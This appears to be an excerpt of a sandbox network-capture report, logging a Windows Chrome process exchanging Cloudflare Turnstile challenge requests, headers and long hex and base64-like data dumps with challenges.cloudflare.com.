2025-04-28 07:04:29 UTC	1047	IN	Data Raw: 68 49 4b 34 68 62 57 56 68 73 57 74 71 6f 37 44 71 38 53 68 71 34 71 2f 79 4b 4f 6d 6f 74 53 6e 71 71 57 56 75 4b 6d 71 75 74 61 32 76 39 44 47 36 4f 66 72 74 61 61 66 76 64 6d 6f 32 37 44 69 72 2f 47 76 74 73 72 54 30 76 48 4b 37 63 37 33 30 41 48 30 34 76 50 69 41 2b 6a 63 2b 63 6e 4b 35 63 54 57 44 2f 76 65 79 77 4c 70 46 2b 37 54 37 77 77 49 48 64 6b 65 49 41 76 64 44 52 2f 63 32 78 54 78 38 42 67 63 34 77 4d 4f 2b 79 62 34 42 79 63 74 37 65 38 6a 4d 2f 59 45 4b 41 4d 70 43 52 68 41 46 51 30 6a 4d 51 51 79 4f 52 77 62 49 6a 73 4c 49 45 51 35 46 30 73 62 47 6a 31 4c 54 30 38 51 54 44 49 73 54 78 55 50 55 30 6b 66 55 31 68 41 51 46 67 64 52 44 42 41 52 6d 49 2f 52 54 74 65 50 45 6c 7a 5a 54 46 71 4c 57 74 70 63 6a 6c 32 53 6d 70 34 67 47 78 79 65 30 4a Data Ascii: hIK4hbWVhsWtqo7Dq8Shq4q/yKOmotSnqqWVuKmquta2v9DG6Ofrtaafvdmo27Dir/GvtsrT0vHK7c730AH04vPiA+jc+cnK5cTWD/veywLpF+7T7wwIHdkeIAvdDR/c2xTx8Bgc4wMO+yb4Byct7e8jM/YEKAMpCRhAFQ0jMQQyORwbIjsLIEQ5F0sbGj1LT08QTDIsTxUPU0kfU1hAQFgdRDBARmI/RTtePElzZTFqLWtpcjl2Smp4gGxye0J
2025-04-28 07:04:29 UTC	1369	IN	Data Raw: 4f 74 61 69 52 6b 72 6d 2b 70 39 32 67 72 36 75 37 31 5a 2b 35 73 37 7a 54 78 39 32 2f 79 73 76 59 77 39 50 6f 31 62 43 77 71 64 58 78 2b 39 47 36 32 64 32 32 37 4c 38 45 77 64 7a 7a 31 38 2f 32 39 39 4f 39 31 62 2f 58 33 65 37 6f 33 41 51 56 43 66 51 44 38 73 73 4a 46 65 34 61 39 78 59 5a 48 76 73 50 39 67 34 67 48 68 45 71 42 77 67 71 35 52 73 76 4d 75 34 64 43 67 51 4f 37 52 6a 77 4b 52 63 55 39 54 55 71 4b 42 38 62 4e 42 38 38 48 44 70 43 41 68 6b 6d 53 42 64 4f 51 79 6b 75 54 51 38 71 54 42 4e 4d 54 79 74 4b 52 6c 46 54 4c 42 39 49 59 43 38 61 59 42 31 67 56 32 4d 66 59 30 41 73 61 54 70 66 61 56 70 61 63 48 42 4a 56 48 5a 42 5a 32 31 6a 64 54 52 50 4f 57 46 54 56 6f 46 5a 68 55 45 2f 59 6c 52 6b 57 6d 75 4b 66 6d 31 69 6a 31 31 78 55 6c 4e 50 64 58 Data Ascii: OtaiRkrm+p92gr6u71Z+5s7zTx92/ysvYw9Po1bCwqdXx+9G62d227L8Ewdzz18/299O91b/X3e7o3AQVCfQD8ssJFe4a9xYZHvsP9g4gHhEqBwgq5RsvMu4dCgQO7RjwKRcU9TUqKB8bNB88HDpCAhkmSBdOQykuTQ8qTBNMTytKRlFTLB9IYC8aYB1gV2MfY0AsaTpfaVpacHBJVHZBZ21jdTRPOWFTVoFZhUE/YlRkWmuKfm1ij11xUlNPdX
2025-04-28 07:04:29 UTC	1369	IN	Data Raw: 33 72 65 77 31 73 4f 79 6e 64 2b 6a 73 62 69 36 77 37 69 6c 36 72 69 37 76 38 33 44 76 71 37 4f 31 74 62 4f 32 2b 2f 57 79 64 58 34 37 4c 2f 4f 75 2b 2f 43 42 4d 49 49 43 66 6a 6a 31 76 37 59 36 51 2f 6d 44 51 48 4e 79 77 72 57 31 67 67 4f 36 68 7a 59 2f 4e 72 70 33 41 37 31 37 52 67 49 38 64 34 41 41 4f 66 6a 48 2b 37 6c 4c 2f 73 65 44 53 73 49 37 75 6b 49 4c 51 51 64 45 76 67 63 44 68 49 39 4d 68 30 59 4f 2f 34 65 48 41 68 42 43 52 6f 6b 43 44 67 38 4a 55 31 4c 4c 6b 35 43 4a 31 55 79 4e 46 74 50 4a 7a 52 51 58 7a 70 69 58 43 38 75 59 6c 6c 5a 51 30 52 57 61 7a 5a 45 61 6a 31 4c 63 6b 39 64 52 48 68 78 5a 54 4e 49 63 58 35 78 50 56 39 79 66 56 70 65 56 54 35 51 52 32 6c 41 66 6d 42 4a 69 59 47 49 5a 6d 5a 2f 69 59 69 52 69 31 57 59 62 34 64 59 5a 70 69 Data Ascii: 3rew1sOynd+jsbi6w7il6ri7v83Dvq7O1tbO2+/WydX47L/Ou+/CBMIICfjj1v7Y6Q/mDQHNywrW1ggO6hzY/Nrp3A717RgI8d4AAOfjH+7lL/seDSsI7ukILQQdEvgcDhI9Mh0YO/4eHAhBCRokCDg8JU1LLk5CJ1UyNFtPJzRQXzpiXC8uYllZQ0RWazZEaj1Lck9dRHhxZTNIcX5xPV9yfVpeVT5QR2lAfmBJiYGIZmZ/iYiRi1WYb4dYZpi
2025-04-28 07:04:29 UTC	1369	IN	Data Raw: 61 62 42 78 2b 66 6e 35 4d 54 6b 77 2f 44 4b 37 39 2f 70 35 2b 37 68 31 37 54 33 30 65 37 4b 39 50 6e 4a 31 41 4f 34 37 75 54 45 31 66 4c 52 35 65 6f 42 79 4f 76 48 36 65 6f 53 44 41 37 74 44 74 62 77 47 4f 54 73 38 2f 59 57 48 50 54 66 36 52 41 57 45 68 38 52 43 53 72 7a 41 41 77 41 36 2f 72 34 41 44 48 77 45 79 33 2b 4c 77 33 76 4a 51 73 73 39 7a 41 6e 47 42 59 55 46 42 31 43 51 68 45 34 51 6a 35 4b 4b 7a 64 45 4a 55 6f 48 50 52 38 4d 44 55 35 48 49 54 6c 55 45 6a 55 63 58 31 38 74 53 53 74 56 58 32 59 65 58 43 49 68 61 6d 5a 41 51 56 70 71 53 32 31 42 50 30 77 73 54 30 4e 47 4e 7a 64 35 63 54 52 36 62 6e 46 67 57 56 39 62 67 6c 42 66 69 47 64 5a 68 58 31 6e 53 6b 31 71 67 6f 47 4d 63 33 43 4e 69 6d 75 4c 59 6d 6c 54 64 6e 2b 63 6c 5a 52 64 66 5a 78 67 Data Ascii: abBx+fn5MTkw/DK79/p5+7h17T30e7K9PnJ1AO47uTE1fLR5eoByOvH6eoSDA7tDtbwGOTs8/YWHPTf6RAWEh8RCSrzAAwA6/r4ADHwEy3+Lw3vJQss9zAnGBYUFB1CQhE4Qj5KKzdEJUoHPR8MDU5HITlUEjUcX18tSStVX2YeXCIhamZAQVpqS21BP0wsT0NGNzd5cTR6bnFgWV9bglBfiGdZhX1nSk1qgoGMc3CNimuLYmlTdn+clZRdfZxg
2025-04-28 07:04:29 UTC	1369	IN	Data Raw: 7a 6a 7a 65 6a 42 73 4f 44 63 73 2b 50 52 36 39 50 4c 38 4d 71 36 36 2b 33 33 36 74 48 78 39 4c 62 7a 31 50 50 68 32 77 66 7a 33 74 33 72 2f 63 77 4c 42 42 45 4b 33 73 30 49 38 2b 72 6d 44 2b 67 47 37 66 73 54 32 52 50 2b 44 66 4d 6d 49 41 41 65 39 79 41 65 49 65 77 45 44 65 30 72 44 75 2f 79 44 65 30 57 4c 6a 77 37 50 66 67 48 43 52 38 2b 44 77 45 44 46 6a 77 45 52 69 46 4a 46 41 4d 5a 47 78 35 53 44 43 34 30 4a 30 6b 70 53 53 59 79 45 53 38 55 4e 45 74 56 4f 6a 38 73 49 6a 56 45 51 69 4d 32 55 7a 70 58 54 44 6c 45 57 6c 31 6c 51 45 51 30 62 6a 4e 4e 53 31 64 78 5a 6c 73 37 53 47 6c 7a 56 46 74 39 50 6c 56 64 63 6b 4a 36 66 31 2b 42 57 32 68 76 63 57 78 65 6b 6c 4a 6d 61 59 4f 59 6d 6c 6c 4f 69 5a 64 77 58 56 4f 59 66 48 42 7a 5a 4b 43 41 68 5a 57 6a 65 Data Ascii: zjzejBsODcs+PR69PL8Mq66+336tHx9Lbz1PPh2wfz3t3r/cwLBBEK3s0I8+rmD+gG7fsT2RP+DfMmIAAe9yAeIewEDe0rDu/yDe0WLjw7PfgHCR8+DwEDFjwERiFJFAMZGx5SDC40J0kpSSYyES8UNEtVOj8sIjVEQiM2UzpXTDlEWl1lQEQ0bjNNS1dxZls7SGlzVFt9PlVdckJ6f1+BW2hvcWxeklJmaYOYmllOiZdwXVOYfHBzZKCAhZWje
2025-04-28 07:04:29 UTC	1369	IN	Data Raw: 76 78 75 76 69 79 39 50 6c 79 73 2f 53 74 64 58 4c 36 2b 76 52 39 73 54 76 77 38 62 70 31 51 4d 4a 35 41 63 46 79 41 30 48 34 78 55 51 36 50 37 50 37 68 4d 53 37 75 33 72 49 42 7a 35 31 2b 49 4e 31 76 73 44 2f 65 59 6b 46 51 49 67 36 78 44 2b 36 2f 33 74 46 53 38 4d 43 69 49 77 43 69 4d 4c 4f 44 38 33 4d 52 31 42 2f 43 4d 34 47 7a 63 37 46 78 59 44 4b 42 74 4f 50 45 63 4b 52 69 38 75 44 43 5a 58 4c 79 74 61 55 78 5a 4b 46 56 38 70 54 68 77 34 49 30 35 58 55 6a 70 58 56 46 4d 37 4c 54 31 4b 4c 55 4a 67 50 55 64 4e 55 79 31 55 65 55 4e 6c 57 44 31 56 66 48 31 58 65 33 52 4f 67 33 78 6c 55 47 4e 37 64 59 31 35 68 6e 64 51 58 45 68 4e 66 58 31 50 59 5a 4e 57 55 59 61 61 64 58 35 2f 61 34 31 30 6f 32 47 51 65 58 4a 36 6d 58 36 4c 6c 49 42 2f 62 36 75 4c 63 61 Data Ascii: vxuviy9Plys/StdXL6+vR9sTvw8bp1QMJ5AcFyA0H4xUQ6P7P7hMS7u3rIBz51+IN1vsD/eYkFQIg6xD+6/3tFS8MCiIwCiMLOD83MR1B/CM4Gzc7FxYDKBtOPEcKRi8uDCZXLytaUxZKFV8pThw4I05XUjpXVFM7LT1KLUJgPUdNUy1UeUNlWD1VfH1Xe3ROg3xlUGN7dY15hndQXEhNfX1PYZNWUYaadX5/a410o2GQeXJ6mX6LlIB/b6uLca
2025-04-28 07:04:29 UTC	1369	IN	Data Raw: 79 50 62 45 39 62 30 41 76 73 76 39 41 63 4c 50 75 4e 44 31 43 4e 33 57 31 4f 77 4f 43 77 38 45 33 67 33 4b 43 4f 72 57 42 76 6e 74 32 76 50 77 48 68 6e 57 32 69 54 78 39 2f 44 59 38 52 59 59 39 79 63 73 44 66 72 2b 4b 79 4d 44 4e 41 6b 72 42 54 6b 4e 47 51 34 37 2b 75 39 41 51 42 54 33 43 30 49 5a 51 78 70 49 51 30 63 65 54 43 41 6c 48 55 38 51 54 78 74 54 54 7a 55 6c 57 42 68 54 4b 31 59 63 52 79 64 66 53 31 4d 79 59 79 51 78 4f 32 68 6a 55 6d 78 71 51 57 4d 2f 62 6b 51 6f 52 58 52 4a 61 30 56 79 4f 47 74 50 65 7a 73 30 52 34 42 37 62 30 75 43 57 57 36 49 68 33 4f 48 58 34 75 48 67 31 32 52 5a 59 74 6d 6b 56 4e 74 5a 4a 56 59 6b 32 71 63 6c 35 4e 74 6e 34 75 42 63 35 35 6b 6a 33 69 6e 6b 36 64 35 71 57 79 66 66 71 31 77 6e 72 53 7a 72 36 65 47 75 59 32 Data Ascii: yPbE9b0Avsv9AcLPuND1CN3W1OwOCw8E3g3KCOrWBvnt2vPwHhnW2iTx9/DY8RYY9ycsDfr+KyMDNAkrBTkNGQ47+u9AQBT3C0IZQxpIQ0ceTCAlHU8QTxtTTzUlWBhTK1YcRydfS1MyYyQxO2hjUmxqQWM/bkQoRXRJa0VyOGtPezs0R4B7b0uCWW6Ih3OHX4uHg12RZYtmkVNtZJVYk2qcl5Ntn4uBc55kj3ink6d5qWyffq1wnrSzr6eGuY2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.5	49737	104.18.94.41	443	6240	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-04-28 07:04:29 UTC	468	OUT	GET /cdn-cgi/challenge-platform/h/g/d/9374b425be546a49/1745823864928/qbrm-VjPK8YIgz0 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-28 07:04:29 UTC	200	IN	HTTP/1.1 200 OK Date: Mon, 28 Apr 2025 07:04:29 GMT Content-Type: image/png Content-Length: 61 Connection: close Server: cloudflare CF-RAY: 9374b4b00ad33778-PHX alt-svc: h3=":443"; ma=86400
2025-04-28 07:04:29 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 44 00 00 00 57 08 02 00 00 00 32 33 74 d0 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRDW23tIDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.5	49738	104.18.94.41	443	6240	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-04-28 07:04:29 UTC	638	OUT	GET /cdn-cgi/challenge-platform/h/g/flow/ov1/652780260:1745821567:WBBn2W7-fOSe7lGpGYVAOox2W9NKxXUBK7p5JVjVv_U/9374b425be546a49/vJwbh2JU03EtygssnrEXjkqGQuJQ_136_FMkyZ6GkWE-1745823847-1.1.1.1-qzR3nADmxNcRoy1CzRGnKqjrlpQBHTLtv8NZE070I0b.I7IPsOih7HTF3j1i8Ncz HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-28 07:04:30 UTC	442	IN	HTTP/1.1 400 Bad Request Date: Mon, 28 Apr 2025 07:04:30 GMT Content-Type: application/json Content-Length: 14 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 cf-chl-out: LdaUy+RJAR/aPZS6WNwoqMnoNdYdzjctRtBdS3sLzHnkW+23mIXEwMQqAsBAUVTaSkjBMsVtpDs5gjSvWUhByw==$sMsDRVE0jW50ilxGfDy9hA== Server: cloudflare CF-RAY: 9374b4b37d3cd2c0-PHX alt-svc: h3=":443"; ma=86400
2025-04-28 07:04:30 UTC	14	IN	Data Raw: 7b 22 65 72 72 22 3a 31 30 30 32 38 30 7d Data Ascii: {"err":100280}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.5	49740	104.18.94.41	443	6240	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-04-28 07:04:53 UTC	1192	OUT	POST /cdn-cgi/challenge-platform/h/g/flow/ov1/652780260:1745821567:WBBn2W7-fOSe7lGpGYVAOox2W9NKxXUBK7p5JVjVv_U/9374b425be546a49/vJwbh2JU03EtygssnrEXjkqGQuJQ_136_FMkyZ6GkWE-1745823847-1.1.1.1-qzR3nADmxNcRoy1CzRGnKqjrlpQBHTLtv8NZE070I0b.I7IPsOih7HTF3j1i8Ncz HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 42567 sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Content-Type: text/plain;charset=UTF-8 cf-chl: vJwbh2JU03EtygssnrEXjkqGQuJQ_136_FMkyZ6GkWE-1745823847-1.1.1.1-qzR3nADmxNcRoy1CzRGnKqjrlpQBHTLtv8NZE070I0b.I7IPsOih7HTF3j1i8Ncz cf-chl-ra: 2 sec-ch-ua-mobile: ?0 Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/lzyee/0x4AAAAAAADnPIDROrmt1Wwj/light/fbE/new/normal/auto/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-28 07:04:53 UTC	16384	OUT	Data Raw: 38 64 35 70 74 6f 45 61 4d 2d 6a 76 6a 50 61 75 6b 45 78 6f 4b 34 2d 61 75 65 75 37 75 53 70 55 6a 75 42 46 75 43 70 51 35 6f 6b 46 75 63 30 70 50 64 6f 59 75 4c 6f 75 79 43 4e 6e 6f 69 75 6d 70 45 36 4d 34 75 78 46 34 45 66 79 48 50 55 4b 75 70 70 6f 44 75 78 33 45 6f 59 75 68 4b 66 46 53 75 61 70 2d 6a 4d 75 33 70 31 61 6a 75 38 34 6f 73 61 70 65 4d 75 51 73 75 51 4e 65 68 75 65 6a 75 72 75 73 55 47 35 6d 71 6b 4d 75 69 4c 4f 53 45 31 73 33 45 6f 54 42 53 75 55 6e 5a 34 59 44 35 6a 65 69 68 65 33 53 45 38 54 53 30 70 69 75 45 63 50 45 34 6a 75 33 4d 6b 75 51 68 55 54 55 75 75 54 6e 41 4a 34 57 6e 75 50 71 61 67 59 2d 6d 65 36 51 59 6e 65 78 2b 4d 75 75 41 65 51 34 75 43 31 74 35 65 74 51 64 64 75 6f 5a 59 6a 70 45 79 75 2d 30 75 70 79 30 77 75 75 35 75 Data Ascii: 8d5ptoEaM-jvjPaukExoK4-aueu7uSpUjuBFuCpQ5okFuc0pPdoYuLouyCNnoiumpE6M4uxF4EfyHPUKuppoDux3EoYuhKfFSuap-jMu3p1aju84osapeMuQsuQNehuejurusUG5mqkMuiLOSE1s3EoTBSuUnZ4YD5jeihe3SE8TS0piuEcPE4ju3MkuQhUTUuuTnAJ4WnuPqagY-me6QYnex+MuuAeQ4uC1t5etQdduoZYjpEyu-0upy0wuu5u
2025-04-28 07:04:53 UTC	16384	OUT	Data Raw: 35 75 49 49 6b 4a 51 5a 79 56 39 5a 38 64 45 30 61 68 32 71 79 6d 45 31 36 24 75 75 79 30 61 4a 74 72 4c 34 56 45 36 24 2d 70 75 51 65 31 50 33 71 33 4d 32 59 4a 75 67 53 6d 32 6c 76 6d 45 50 4b 32 36 79 51 39 72 66 51 35 55 72 4b 38 68 47 36 24 33 75 34 37 32 54 46 72 42 5a 41 70 75 55 70 67 46 2b 75 4b 55 57 53 6f 74 6a 51 4d 45 51 44 4b 35 2d 75 73 6e 6a 45 4f 36 46 66 2d 30 58 65 54 51 45 35 79 49 44 68 46 57 4d 79 45 6e 35 51 70 67 34 70 53 35 5a 6f 73 55 64 24 35 51 48 53 6f 42 75 5a 70 73 6e 6a 74 53 49 75 55 5a 4e 50 6c 35 54 48 45 4d 31 75 48 42 54 6a 6f 71 53 35 61 57 48 4f 74 53 34 4d 72 70 75 61 48 6f 33 79 69 55 64 76 35 5a 2d 7a 4e 59 4d 36 75 79 33 70 38 75 71 45 59 32 70 68 31 38 78 50 63 75 45 4e 49 34 35 5a 72 66 4a 59 6a 45 58 30 47 34 Data Ascii: 5uIIkJQZyV9Z8dE0ah2qymE16$uuy0aJtrL4VE6$-puQe1P3q3M2YJugSm2lvmEPK26yQ9rfQ5UrK8hG6$3u472TFrBZApuUpgF+uKUWSotjQMEQDK5-usnjEO6Ff-0XeTQE5yIDhFWMyEn5Qpg4pS5ZosUd$5QHSoBuZpsnjtSIuUZNPl5THEM1uHBTjoqS5aWHOtS4MrpuaHo3yiUdv5Z-zNYM6uy3p8uqEY2ph18xPcuENI45ZrfJYjEX0G4
2025-04-28 07:04:53 UTC	9799	OUT	Data Raw: 4c 31 63 75 73 74 6f 2b 6b 4f 47 71 78 4b 34 35 45 73 65 53 75 55 53 33 31 4c 30 6c 32 6f 30 4f 45 6f 47 71 65 79 4e 78 75 55 76 35 77 50 75 6c 53 55 70 79 2b 75 79 71 71 70 63 49 59 33 48 64 76 76 38 59 55 36 57 73 35 34 71 72 34 61 4f 73 31 36 43 35 75 79 55 50 4c 46 6c 6b 49 6b 34 75 61 45 2b 64 6f 34 75 56 75 31 5a 58 6c 75 4c 71 48 35 6f 34 70 50 75 55 59 6b 58 42 41 75 4e 38 74 47 6b 46 31 57 53 5a 76 64 5a 45 6b 64 6f 42 75 6e 6f 71 4d 45 4d 6b 4d 79 41 47 2b 35 74 53 4f 4b 59 7a 41 48 6e 34 34 67 76 64 45 55 65 48 53 2d 55 78 78 75 49 34 51 52 50 71 70 45 6d 35 5a 36 47 75 73 47 30 49 78 39 47 77 2b 41 64 37 77 31 37 53 45 49 47 6c 75 34 79 35 48 45 67 4d 34 4c 61 54 69 39 70 6f 6b 4c 58 24 39 44 37 33 65 4f 47 39 53 6e 68 55 45 47 6d 73 69 57 7a Data Ascii: L1custo+kOGqxK45EseSuUS31L0l2o0OEoGqeyNxuUv5wPulSUpy+uyqqpcIY3Hdvv8YU6Ws54qr4aOs16C5uyUPLFlkIk4uaE+do4uVu1ZXluLqH5o4pPuUYkXBAuN8tGkF1WSZvdZEkdoBunoqMEMkMyAG+5tSOKYzAHn44gvdEUeHS-UxxuI4QRPqpEm5Z6GusG0Ix9Gw+Ad7w17SEIGlu4y5HEgM4LaTi9pokLX$9D73eOG9SnhUEGmsiWz
2025-04-28 07:04:53 UTC	135	IN	HTTP/1.1 200 OK Date: Mon, 28 Apr 2025 07:04:53 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 5020 Connection: close
2025-04-28 07:04:53 UTC	1702	IN	Data Raw: 63 66 2d 63 68 6c 2d 6f 75 74 2d 73 3a 20 58 64 32 30 66 33 4e 46 55 7a 74 34 61 6b 66 39 44 2f 62 46 4b 72 45 6d 6e 79 65 48 6e 37 73 73 2b 72 47 70 6b 66 71 76 66 66 44 32 78 4e 6e 33 42 61 6f 63 61 75 32 65 6e 68 65 6c 4f 6b 2f 62 4b 48 6e 76 71 50 6b 56 72 72 31 4f 77 72 31 66 6a 79 41 54 74 47 65 44 79 62 43 6f 62 4e 67 4e 45 69 49 77 6f 73 64 55 36 69 76 6c 77 58 6d 66 61 48 64 70 31 49 38 4c 54 6a 48 50 72 31 47 4c 68 61 39 36 78 32 6d 50 6a 42 34 55 65 36 74 71 6d 50 47 6d 44 77 62 6b 32 4a 41 57 2b 42 6a 7a 4c 79 67 71 48 50 5a 6f 41 74 55 41 59 46 6c 38 38 4f 42 45 68 76 66 43 68 72 71 38 62 41 6a 4b 48 55 44 67 56 6d 4e 31 49 31 56 6a 4f 34 51 6d 70 45 54 41 55 2b 43 6d 58 62 6c 51 76 62 37 6c 30 63 44 43 55 62 48 5a 52 77 65 37 42 4e 76 45 33 Data Ascii: cf-chl-out-s: Xd20f3NFUzt4akf9D/bFKrEmnyeHn7ss+rGpkfqvffD2xNn3Baocau2enhelOk/bKHnvqPkVrr1Owr1fjyATtGeDybCobNgNEiIwosdU6ivlwXmfaHdp1I8LTjHPr1GLha96x2mPjB4Ue6tqmPGmDwbk2JAW+BjzLygqHPZoAtUAYFl88OBEhvfChrq8bAjKHUDgVmN1I1VjO4QmpETAU+CmXblQvb7l0cDCUbHZRwe7BNvE3
2025-04-28 07:04:53 UTC	901	IN	Data Raw: 68 49 4b 34 68 62 57 56 68 73 57 74 71 6f 37 44 71 38 53 68 71 34 71 2b 6b 64 47 4b 79 4d 7a 51 70 39 6e 59 31 4b 32 67 33 35 6e 6a 34 4c 6d 38 35 2b 53 39 31 4b 53 73 31 38 32 72 73 61 6a 69 72 2f 47 76 74 73 66 43 74 66 4c 50 78 2f 54 67 74 76 48 30 34 76 50 69 41 2b 6a 62 77 4f 76 64 35 4e 6e 71 44 2f 76 65 79 77 44 75 34 4f 2f 70 38 52 73 4a 32 50 58 54 39 52 6e 77 39 66 51 69 49 75 58 59 35 69 58 38 39 4f 51 72 41 65 54 34 49 43 54 72 46 51 6f 53 44 2f 49 50 47 41 77 4f 45 77 6b 75 44 68 77 4f 4f 66 30 41 4d 30 4d 48 46 55 6f 6a 4a 52 30 59 4b 79 63 64 4d 30 45 55 51 67 35 4f 55 54 64 4e 4d 46 4e 56 55 7a 68 63 4e 46 78 45 54 46 4d 78 4a 46 46 57 59 43 68 47 56 6a 78 69 52 44 78 68 51 55 56 67 61 55 6c 53 4d 57 4a 6e 62 45 77 77 61 45 35 58 54 58 70 Data Ascii: hIK4hbWVhsWtqo7Dq8Shq4q+kdGKyMzQp9nY1K2g35nj4Lm85+S91KSs182rsajir/GvtsfCtfLPx/TgtvH04vPiA+jbwOvd5NnqD/veywDu4O/p8RsJ2PXT9Rnw9fQiIuXY5iX89OQrAeT4ICTrFQoSD/IPGAwOEwkuDhwOOf0AM0MHFUojJR0YKycdM0EUQg5OUTdNMFNVUzhcNFxETFMxJFFWYChGVjxiRDxhQUVgaUlSMWJnbEwwaE5XTXp
2025-04-28 07:04:53 UTC	1369	IN	Data Raw: 68 30 31 4b 46 6b 6d 4f 56 34 73 4d 33 52 7a 62 43 6c 43 65 6a 55 7a 50 47 64 55 55 46 5a 2f 53 6c 56 64 57 58 49 2b 68 6c 56 57 51 6b 4a 33 5a 45 31 59 59 59 4a 64 58 58 46 79 56 70 68 35 64 56 75 63 69 6e 64 65 65 47 6d 63 70 48 31 78 62 33 61 41 69 58 68 39 68 6e 79 76 62 6f 57 42 6f 72 53 69 6e 36 39 33 6b 4b 4f 71 65 71 79 7a 6a 6e 61 77 75 6e 79 4e 73 70 32 37 66 70 32 68 6b 70 50 4b 79 71 54 51 75 35 32 65 6b 61 36 74 7a 4b 4c 49 32 72 53 74 73 74 75 36 6e 37 69 74 75 37 44 50 74 4f 43 30 36 4c 7a 6e 74 65 66 42 77 36 48 74 33 37 32 37 38 74 43 32 78 2f 66 4e 31 62 76 45 39 72 6e 4e 31 39 53 39 7a 76 50 44 32 39 4c 67 31 41 72 4b 43 77 77 4a 78 51 48 2b 38 52 58 74 37 65 6a 69 34 4e 54 72 35 52 33 35 37 2b 6e 57 45 50 33 74 2b 65 30 66 38 69 62 31 Data Ascii: h01KFkmOV4sM3RzbClCejUzPGdUUFZ/SlVdWXI+hlVWQkJ3ZE1YYYJdXXFyVph5dVucindeeGmcpH1xb3aAiXh9hnyvboWBorSin693kKOqeqyzjnawunyNsp27fp2hkpPKyqTQu52eka6tzKLI2rStstu6n7itu7DPtOC06LzntefBw6Ht37278tC2x/fN1bvE9rnN19S9zvPD29Lg1ArKCwwJxQH+8RXt7eji4NTr5R357+nWEP3t+e0f8ib1
2025-04-28 07:04:53 UTC	1369	IN	Data Raw: 74 4e 4b 57 4a 71 54 6b 4a 51 52 48 6f 74 55 44 68 58 50 56 64 52 58 6a 71 44 50 48 55 2b 64 58 61 49 56 49 70 2b 5a 45 56 71 63 45 78 6a 61 57 47 46 5a 49 52 58 65 57 5a 30 69 70 78 63 69 6c 68 71 62 48 74 35 6c 47 5a 77 6f 6f 70 30 70 6d 78 2b 66 34 56 39 65 34 57 4d 72 35 47 41 71 49 68 30 65 35 53 49 74 58 65 4b 6a 4b 4b 54 68 4a 69 64 66 34 65 44 6f 6f 50 4d 70 62 2b 48 30 4b 43 6e 31 4c 36 4c 73 59 2b 74 74 4c 6d 72 70 71 79 31 34 4d 76 53 77 5a 71 6b 73 4c 2b 32 30 38 48 5a 75 74 7a 46 33 36 62 77 78 65 47 73 79 63 58 6c 78 2b 50 42 37 50 7a 56 74 4f 7a 51 79 62 2f 58 42 51 54 44 32 37 2f 64 31 66 76 43 31 75 6a 75 78 67 48 64 2f 73 72 7a 38 50 62 30 36 66 44 35 36 66 6f 53 36 66 30 41 34 65 76 2b 42 42 45 53 49 2b 50 35 46 41 67 4b 43 53 30 69 41 Data Ascii: tNKWJqTkJQRHotUDhXPVdRXjqDPHU+dXaIVIp+ZEVqcExjaWGFZIRXeWZ0ipxcilhqbHt5lGZwoop0pmx+f4V9e4WMr5GAqIh0e5SItXeKjKKThJidf4eDooPMpb+H0KCn1L6LsY+ttLmrpqy14MvSwZqksL+208HZutzF36bwxeGsycXlx+PB7PzVtOzQyb/XBQTD27/d1fvC1ujuxgHd/srz8Pb06fD56foS6f0A4ev+BBESI+P5FAgKCS0iA
2025-04-28 07:04:53 UTC	1369	IN	Data Raw: 32 54 58 46 4e 4d 6d 64 33 54 57 74 56 63 55 32 42 57 45 55 2b 59 6e 64 34 57 57 52 37 58 6d 42 2b 5a 57 70 53 61 6b 39 76 54 58 46 6f 63 6d 65 57 56 4a 42 6f 56 6c 64 65 61 35 47 58 66 6e 57 59 64 47 65 73 59 6e 57 42 66 5a 2b 46 69 6e 4a 2b 74 72 65 44 67 6f 57 74 65 62 6d 52 73 6f 71 2b 6f 59 36 4f 73 6f 43 31 79 49 64 2f 71 35 66 4b 78 73 72 51 71 61 44 52 69 63 4b 55 71 61 6a 47 74 4c 53 71 74 62 47 2f 6e 72 57 38 76 4b 37 6a 74 64 4b 34 6d 71 69 34 74 63 54 75 34 61 6a 63 72 36 36 78 38 71 76 4c 73 50 57 7a 30 38 72 51 76 4e 58 51 2f 66 66 37 7a 73 37 4e 32 64 6a 66 33 64 58 62 44 51 6a 6a 78 